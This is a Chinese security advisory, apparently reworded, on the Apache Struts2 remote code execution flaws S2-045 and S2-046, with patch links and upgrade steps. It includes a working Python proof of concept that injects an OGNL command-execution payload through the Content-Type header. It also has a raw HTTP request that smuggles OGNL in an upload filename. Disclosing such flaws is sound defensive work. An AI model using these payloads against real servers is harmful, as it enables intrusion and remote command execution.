最近,安恒信息安全研究院的WEBIN实验室高级安全研究员nike.zheng发现了著名J2EE框架——Struts2存在远程代码执行漏洞。该漏洞被定级为高危漏洞,已经被Struts2官方确认(S2-045,S2-046)。Struts2的使用范围非常广泛,国内外都有大量厂商使用该框架。

据报道,当使用Jakarta插件处理文件上传操作时,可能会导致远程代码执行漏洞。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,这将对受影响站点造成严重影响,并引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。特别是政府、公安、交通、金融和运营商等单位和机构需要特别重视信息安全保密工作,敏感信息的泄漏有可能对国家造成沉重的打击,甚至会违反相关的法律规定。

针对此次漏洞,安恒安全专家建议尽快更新Struts2版本或采用第三方防护措施如具备防护能力的WEB防火墙或云防护产品进行防范。此外,攻击者可以通过构造HTTP请求头中的Content-Type值来造成远程代码执行(S2-045 PoC)。

```python

#!/usr/bin/env python

# encoding:utf-8

import urllib2

import sys

from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

def poc():

register_openers()

datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

request = urllib2.Request(str(sys.argv[1]), datagen, headers=header)

response = urllib2.urlopen(request)

print response.read()

poc()

```

以下是重构后的内容:

S2-046漏洞影响(更新)

该漏洞的影响包括:

1. 触发条件:上传文件的大小大于Struts2允许的最大大小(2GB),或者文件名内容构造恶意的OGNL内容。

2. PoC:

```bash

POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

```

3. 修复建议:

严格过滤Content-Type和filename里的内容,严禁ognl表达式相关字段。如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。强烈推荐阅读官网公告以获取更多信息。

官网公告:https://cwiki.apache.org/confluence/display/WW/S2-045

https://cwiki.apache.org/confluence/display/WW/S2-046

补丁地址:Struts 2.3.32:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32

Struts 2.5.10.1版本的更新说明如下:

1. 参考链接:

- Struts 2.5.10.1官方文档:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1

- Struts 2.5.10.1官方文档(部分页面):http://struts.apache.org/docs/s2-045.html

- Struts 2.5.10.1官方文档(部分页面):http://struts.apache.org/docs/s2-046.html

- Struts 2.5.10.1官方文档(社区讨论):https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

2. Struts 2.5.10.1版本主要更新内容:

- 在Struts 2.5.10.1中,修复了一个已知的安全漏洞。该漏洞可能导致攻击者通过构造恶意请求来执行未授权的操作。为了防止此类攻击,建议用户尽快升级到最新版本的Struts。

3. 建议升级方案:

- 对于已经部署了Struts 2.5.x版本的用户,建议按照以下步骤进行升级:

1. 首先备份您的项目和配置文件,以防升级过程中出现问题。

2. 然后,访问Struts官方网站(http://struts.apache.org/)下载最新版本的Struts安装包。

3. 按照官方文档的指引进行安装和配置。

4. 最后,测试您的应用程序以确保其正常运行。

- 对于尚未部署Struts的用户,建议直接下载并安装最新版本的Struts。在安装过程中,请确保遵循官方文档的指引进行操作。